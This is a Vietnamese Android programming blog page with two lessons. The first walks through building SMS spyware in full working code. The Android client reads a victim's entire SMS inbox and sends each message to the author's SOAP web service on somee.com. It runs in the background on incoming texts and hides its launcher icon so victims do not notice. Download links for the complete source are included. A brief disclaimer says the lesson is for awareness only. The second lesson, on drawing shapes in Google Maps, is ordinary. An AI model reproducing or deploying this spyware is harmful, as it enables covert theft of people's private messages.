<td>Tên đăng nhập:</td>
<td>
<asp:TextBox ID="txtUserName" runat="server"></asp:TextBox>
</td>
</tr>
<tr>
<td>Mật Khẩu:</td>
<td>
<asp:TextBox ID="txtPassword" runat="server" TextMode="Password"></asp:TextBox>
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td>
<asp:Button ID="btnDangNhap" runat="server" OnClick="btnDangNhap_Click" Text="Đăng nhập" />
</td>
</tr>
</table>
<asp:Label ID="lblThongBao" runat="server" ForeColor="Red"></asp:Label>
<br />
</form>
</body>
</html>

Hình minh họa:

android_57_9Source coding behind xử lý đăng nhập:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{

}

protected void btnDangNhap_Click(object sender, EventArgs e)
{
WebService1 ws = new WebService1();
Account ac = ws.DangNhap(txtUserName.Text, txtPassword.Text);
if (ac == null)
{
lblThongBao.Text = "Đăng nhập thất bại";
}
else
{
//cần lưu ac đăng nhập vào Session:
Session.Add("AC", ac);
Response.Redirect("Default.aspx");
}
}
}
}

Như vậy bạn đã xây dựng xong SERVER SPYWARE và CSDL.

Bạn cấu hình và đưa lên Somee.com thì bạn được kết quả như sau (nếu đăng nhập thành công):

android_57_10Nếu bạn nối thêm ToLongTimeString thì có kết quả như sau (Đầy đủ giờ phút giây…):

android_57_11Các bước đưa lên Somee.com bạn phải tự xem lại các bài hướng dẫn trước rất chi tiết.

Source code bạn tải ở đây:

Source SQL Server: http://www.mediafire.com/download/1deekpd7r59sv6w/dbSpywareSMSApp.sql

Tui để sẵn dòng insert account, bạn sửa lại rồi chạy script trên Somee.com để tạo CSDL

Source Web Project: http://www.mediafire.com/download/aj3e64fqjq60cf5/SpywareSMSServerApp.rar

Bạn nhớ sửa lại web.config cho đúng cấu hình với chuỗi kết nối của bạn.

Cấu hình thành công bạn sẽ được mô tả webservice như của Tui như link sau:

http://duythanhit.somee.com/webservice1.asmx?WSDL

*** Tiếp theo xây dựng phần mềm Gián điệp client, tên là SpywareSMSApp với cấu trúc như sau:

android_57_5Giải thích:

SmsInfo : Lớp tạo một tin nhắn SMS để phục vụ cho SpywareTask SpywareSmsReceiver

SpywareSmsReceiver: Lớp tự động lắng nghe tin nhắn gửi tới và đọc thông tin tin nhắn, đóng gói thành lớp SmsInfo rồi gửi gói này cho SpywareTask.

SpywareTask : Là lớp chạy đa tiến trình, nhiệm vụ là nhận gói tin SmsInfo do SpywareSmsReceiver gửi qua, nhận được gói tin xong nó sẽ gửi lên SERVER SPYWARE thông qua Web Service.

Chú ý là phần mềm sau khi được cài đặt vào máy nạn nhân nó sẽ tự động lắng nghe tin SMS gửi tới, cho dùng nạn nhân không kích hoạt phần mềm.

source code của SmsInfo:


package tranduythanh.com.spywaresmsapp;

public class SmsInfo {
private String phoneNumber;
private String timeStamp;
private String body;
public String getPhoneNumber() {
return phoneNumber;
}
public void setPhoneNumber(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public String getTimeStamp() {
return timeStamp;
}
public void setTimeStamp(String timeStamp) {
this.timeStamp = timeStamp;
}
public String getBody() {
return body;
}
public void setBody(String body) {
this.body = body;
}

}

Tiếp theo là coding lớp SpywareSmsReceiver  (lớp tự lắng nghe tin nhắn gửi tới và gửi gói tin qua SypeWare task):


package tranduythanh.com.spywaresmsapp;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.SystemClock;
import android.widget.Toast;

public class SpywareSmsReceiver extends BroadcastReceiver {
/**
* Hàm kiểm tra xem thiết bị của máy nạn nhân có đang
* kết nối internet hay ko?
* @param context
* @return
*/
public boolean isConnect(Context context)
{
ConnectivityManager cm =
(ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo netInfo = cm.getActiveNetworkInfo();
boolean b= netInfo != null && netInfo.isConnectedOrConnecting();
return b;
}
public void onReceive(Context context, Intent intent) {
if(isConnect(context))
{
try
{
processReadAllSMSInInbox(context);
}
catch(Exception ex)
{
Toast.makeText(context,ex.toString(), Toast.LENGTH_LONG).show();
}
}
else
{
Toast.makeText(context, "No internet", Toast.LENGTH_LONG).show();
}
}
/**
* xử lý đọc toàn bộ tin nhắn trong inbox
* mục đích là giết lầm hơn bỏ sót...
* vì có thể trước thời điểm cài phần mềm Spyware
* đã có nhiều tin nhắn, nên ta đọc hết
* @param context
*/
public void processReadAllSMSInInbox(Context context)
{
ContentResolver contentResolver =
context.getContentResolver();
Cursor cursor = contentResolver.query(
Uri.parse("content://sms/inbox"),
null, null, null, null
);

int indexPhoneNumber = cursor.getColumnIndex("address");
int indexTimeStamp = cursor.getColumnIndex("date");
int indexBody = cursor.getColumnIndex("body");
if ( indexBody < 0 || !cursor.moveToFirst() )
return;
do{
String phonenumber=cursor.getString( indexPhoneNumber );
String timeStamp=cursor.getString(indexTimeStamp);
String body= cursor.getString( indexBody );
SmsInfo smsInfor=new  SmsInfo();
smsInfor.setBody(body);
smsInfor.setPhoneNumber(phonenumber);
smsInfor.setTimeStamp(timeStamp);
//mỗi lần đọc được 1 tin nhắn thì đưa vào tiểu trình
//để đẩy lên server spyware
SpywareTask task=new SpywareTask();
task.execute(smsInfor);
SystemClock.sleep(100);
}
while( cursor.moveToNext() );
}
}

– Source code của lớp SpywareTask (tiểu trình để đẩy gói tin lên server spyware):


package tranduythanh.com.spywaresmsapp;

import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import android.os.AsyncTask;

public class SpywareTask extends AsyncTask<SmsInfo, Void, Void>{
final String URL="http://duythanhit.somee.com/webservice1.asmx?WSDL";
final String NAMESPACE="http://tranduythanh.com/";
final String METHOD_NAME="LuuSmsChomDuoc";
final String SOAP_ACTION=NAMESPACE+METHOD_NAME;
@Override
protected Void doInBackground(SmsInfo... params) {
try{
SmsInfo sms=params[0];
SoapObject request=new SoapObject(NAMESPACE, METHOD_NAME);
request.addProperty("phoneNumber", sms.getPhoneNumber());
request.addProperty("timeStamp", sms.getTimeStamp());
request.addProperty("body", sms.getBody());
SoapSerializationEnvelope envelope=
new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
envelope.setOutputSoapObject(request);
HttpTransportSE androidHttpTransport=
new HttpTransportSE(URL);
androidHttpTransport.call(SOAP_ACTION, envelope);
envelope.getResponse();
}
catch(Exception e)    {}
return null;
}
}

– Ta không cần viết coding gì hết trong MainActivity

– Tiếp theo để cho ứng dụng có khả năng chạy ngầm và tự động lắng nghe SMS thì ta cấu hình AndroidManifest như sau:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="tranduythanh.com.spywaresmsapp"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET"/>

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<receiver android:name="tranduythanh.com.spywaresmsapp.SpywareSmsReceiver" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>

</manifest>

– Giải thích:

+<uses-permission android:name=”android.permission.ACCESS_NETWORK_STATE” /> quyền cho phép kiểm tra trạng thái kết nối mạng của thiết bị. Còn các quyền khác bạn đã biết.

+ Từ dòng 32->36:

<receiver android:name=”tranduythanh.com.spywaresmsapp.SpywareSmsReceiver” >
<intent-filter>
<action android:name=”android.provider.Telephony.SMS_RECEIVED” />
</intent-filter>

Cho phép đăng ký SpywareSmsReceiver như là 1 dịch vụ chạy ngầm và nó tự lắng nghe theo android.provider.Telephony.SMS_RECEIVED (tin nhắn tới) được khái báo trong tag intent-filter .

– Như vậy bạn đã hoàn thành xây dựng ứng dụng Gián Điệp, chỉ cần máy nạn nhân cài đặt phần mềm này, khi có kết nối internet nếu có bất kỳ tin nhắn nào gửi tới máy nạn nhân thì bạn đều đọc được hết thông tin trong inbox. Bạn thấy đấy, các phần mềm trên mạng có thể dễ dàng cài phần mềm gián điệp mà bạn không hề để ý… mọi tin của bạn đều có thể bị đọc trộm…nó rất nguy hiểm. Bạn cần biết sự nguy hiểm này thông qua các cách hướng dẫn lập trình ở trên để biết tránh rủi ro chứ không phải dùng với mục đích xấu.

-Bạn có thể tải source client Sms Spyware đầy đủ ở đây:

http://www.mediafire.com/download/qi95v0w63makg5g/SpywareSMSApp.rar

Thường khi chúng ta bị cài phần mềm gián điệp thì không thấy xuất hiện Icon khi cài đặt vào máy, chỉ trong Application Manager mới thấy, do cấu hình đơn giản trong Android Manifest như sau:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
            <intent-filter>
                <action android:name=”android.intent.action.MAIN” />

                <category android:name=”android.intent.category.LAUNCHER” />
            </intent-filter>
</activity>

Xóa hết Intent -Filter đi chỉ còn lại:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
</activity>

Do đó khi bị cài ngầm vào, nạn nhân thường không biết vì không thấy biểu tưởng phần mềm nào lạ cả. Nhưng nó đã đang chạy ngầm rồi.

– Chúc bạn thành công! và nhớ đừng làm việc gì xấu xa.

Bài 56: Google Maps Android API – phần 4


Tiếp tục bài 55, bài 54, bài 53 bạn đã cơ bản lập trình được với Google Map. Trong bài này Tui sẽ hướng dẫn các bạn cách dùng các đối tượng Shape để tương tác với Google Map, chẳng hạn như:

  • Polyline
  • Polygons
  • Circle

Hay cách hiển thị kiểu Map tùy thích (hiện nay Google Map cung cấp các chế độ: NONE, NORMAL, SATELLITE, HYBRID và TERRAIN).

Trước tiên bạn bổ sung thêm Spinner để cho phép hiển thị kiểu Map theo yêu cầu của người sử dụng:

android_56_1Tiếp tục với Project LearnGoogleMap, bạn tiến hành chỉnh sửa Layout main Activity như sau:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.learngooglemap.MainActivity" >

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Chọn kiểu Map:" />

<Spinner
android:id="@+id/spinner_map_type"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1" />

</LinearLayout>

<fragment
android:id="@+id/map"
android:layout_width="match_parent"
android:layout_height="match_parent"
class="com.google.android.gms.maps.MapFragment"
/>

</LinearLayout>

Tiếp tục bổ sung string-array cho strings.xml để lưu trữ các cách hiển thị Map, đặt tên array này là maps_type:


<string-array name="maps_type">
<item >MAP_TYPE_NONE</item>
<item >MAP_TYPE_NORMAL</item>
<item >MAP_TYPE_SATELLITE</item>
<item >MAP_TYPE_HYBRID</item>
<item >MAP_TYPE_TERRAIN</item>
</string-array>

Cuối cùng trong MainActivity, tiến hành hiệu chỉnh coding để tương tác với Spinner, tương ứng với kiểu chọn lựa nào thì hiển thị Map với chế độ đó:


Spinner spinner_maps_type=(Spinner) findViewById(R.id.spinner_map_type);
String arrMap[]=getResources().getStringArray(R.array.maps_type);
ArrayAdapter<String> adapterMap=new ArrayAdapter<>
(this, android.R.layout.simple_spinner_item, arrMap);
adapterMap.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner_maps_type.setAdapter(adapterMap);
spinner_maps_type.setOnItemSelectedListener(new OnItemSelectedListener() {

@Override
public void onItemSelected(AdapterView<?> arg0, View arg1,
int arg2, long arg3) {
int type=GoogleMap.MAP_TYPE_NORMAL;
switch(arg2)
{
case 0:
type=GoogleMap.MAP_TYPE_NONE;
break;
case 1:
type=GoogleMap.MAP_TYPE_NORMAL;
break;
case 2:
type=GoogleMap.MAP_TYPE_SATELLITE;
break;
case 3:
type=GoogleMap.MAP_TYPE_TERRAIN;
break;
case 4:
type=GoogleMap.MAP_TYPE_HYBRID;
break;
}
map.setMapType(type);
}

@Override
public void onNothingSelected(AdapterView<?> arg0) {
}
});

Khi chạy ứng dụng lên ta sẽ có các kết quả sau:android_56_2– Tiến hành vẽ các đối tượng Shape lên Google Map: Tui sẽ hướng dẫn cách vẽ    Polyline, Polygons, Circle trên Map, dưới đây là một số hình minh họa:

android_56_3

*polyline:

– Để vẽ và đường polyline (những đường thẳng liên tục những không khép kín)

 

Ta khai báo đối tượng PolylineOptions :

PolylineOptions plOption=new  PolylineOptions();

Sau đó đưa tất cả các tọa độ vào PolylineOptions rồi đẩy vào hàm :

Polyline polyline= map.addPolyline(plOption);

Hàm addPolyline sẽ trả về 1 Polyline, ta có thể hiệu chỉnh đối tượng này như sau:

– Thiết lập màu đường kẻ: polyline.setColor(Color.RED);

– Thiết lập độ dày đường kẻ: polyline.setWidth(5)

– Thiết lập độ chồng lấp: polyline.setZIndex(1);

*Polygon:

Vẽ các đường line liên tục và khép kín

Tương tự ta tạo đối tượng : PolygonOptions

PolygonOptions pgOption=new PolygonOptions();

Đẩy tất cả tọa độ vào PolygonOptions sau đó đưa vào hàm:

Polygon polyGon= map.addPolygon(pgOption);

Hàm addPolygon trả về một đối tượng Polygon , ta có thể hiệu chỉnh:

– Thiết lập màu đường viền:polyGon.setStrokeColor(Color.BLUE);

– Thiết lập màu nền: polyGon.setFillColor(Color.YELLOW);

– Thiết lập độ dày: polyGon.setStrokeWidth(5);

 *Circle:

Vẽ đường tròn

tương tự ta khai báo đối tượng CircleOptions:

CircleOptions optionCircle=new CircleOptions();

Thiết lập tọa độ trung tâm và bán kính:

optionCircle.center(latCenter).radius(50);

Sau đó đưa vào hàm:

Circle cir=map.addCircle(optionCircle);

addCircle trả về một Circle, ta có thể thiết lập:

– Màu đường viền:cir.setStrokeColor(Color.BLUE);

– Màu nền : cir.setFillColor(Color.RED);

*** Bây giờ ta bổ sung Menu gồm 3 phần tử:


<menu xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
tools:context="tranduythanh.com.learngooglemap.MainActivity" >
<item android:id="@+id/mnuveduongthang" android:title="Vẽ đường thẳng"></item>
<item android:id="@+id/mnuvepolyline" android:title="Vẽ polyline"></item>
<item android:id="@+id/mnuvepolygon" android:title="Vẽ Polygon"></item>

</menu>

Xử lý coding chọn menu Item trong MainActivity:


PolylineOptions plOption=new  PolylineOptions();

int typedraw;

public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public boolean onOptionsItemSelected(MenuItem item) {
if(item.getItemId()==R.id.mnuveduongthang)
typedraw=0;
else if(item.getItemId()==R.id.mnuvepolyline)
typedraw=1;
else
typedraw=2;
latPrevious=null;
return super.onOptionsItemSelected(item);
}

Tiếp theo bổ sung sự kiện OnMapClickListener cho Map:


map.setOnMapClickListener(new OnMapClickListener() {

@Override
public void onMapClick(LatLng arg0) {
if(typedraw==0)
{
CircleOptions optionCircle=new CircleOptions();
optionCircle.center(arg0).radius(50);
Circle cir=map.addCircle(optionCircle);
cir.setFillColor(Color.RED);
cir.setStrokeColor(Color.BLUE);
if(latPrevious==null)
latPrevious=arg0;
//xử lý vẽ đường thẳng
else if(latPrevious!=null)
{
PolylineOptions optionLine=new PolylineOptions();
optionLine.add(latPrevious);
optionLine.add(arg0);
Polyline line=map.addPolyline(optionLine);
line.setColor(Color.BLUE);
line.setWidth(1);
latPrevious=null;
}

}
else if(typedraw==1)
{
if(latPrevious==null)
plOption=new PolylineOptions();
if(latPrevious!=null)
{

plOption.add(latPrevious);
plOption.add(arg0);
Polyline polyline= map.addPolyline(plOption);
polyline.setColor(Color.RED);

}
latPrevious=arg0;
}
else if(typedraw==2)
{
PolygonOptions pgOption=new PolygonOptions();
double h1=0.5;
double h2=0.25;
LatLng center=arg0;
LatLng p1=new LatLng(center.latitude-h1, center.longitude);
LatLng p2=new LatLng(center.latitude-h2, center.longitude-h2);
LatLng p3=new LatLng(center.latitude-h2, center.longitude-h1);
LatLng p4=new LatLng(center.latitude+h2, center.longitude-h2);
LatLng p5=new LatLng(center.latitude+h1, center.longitude-h1);
LatLng p6=new LatLng(center.latitude+h2, center.longitude);
LatLng p7=new LatLng(center.latitude+h1, center.longitude+h1);
LatLng p8=new LatLng(center.latitude+h2, center.longitude+h2);
LatLng p9=new LatLng(center.latitude-h2, center.longitude+h1);
LatLng p10=new LatLng(center.latitude-h2, center.longitude+h2);
pgOption.add(p1);
pgOption.add(p2);
pgOption.add(p3);
pgOption.add(p4);
pgOption.add(p5);
pgOption.add(p6);
pgOption.add(p7);
pgOption.add(p8);
pgOption.add(p9);
pgOption.add(p10);
pgOption.add(p1);
Polygon polyGon= map.addPolygon(pgOption);
polyGon.setFillColor(Color.YELLOW);
polyGon.setStrokeColor(Color.BLUE);
polyGon.setStrokeWidth(5);
}


}
});
}

Chạy lên ta có kết quả như hình mẫu ở trên.

Bạn có thể tải source code mẫu ở đây:

http://www.mediafire.com/download/zr21zmt87eo51i0/LearnGoogleMap_shape.rar

Chúc các bạn thành công!

Follow

Get every new post delivered to your Inbox.

Join 1,035 other followers

%d bloggers like this: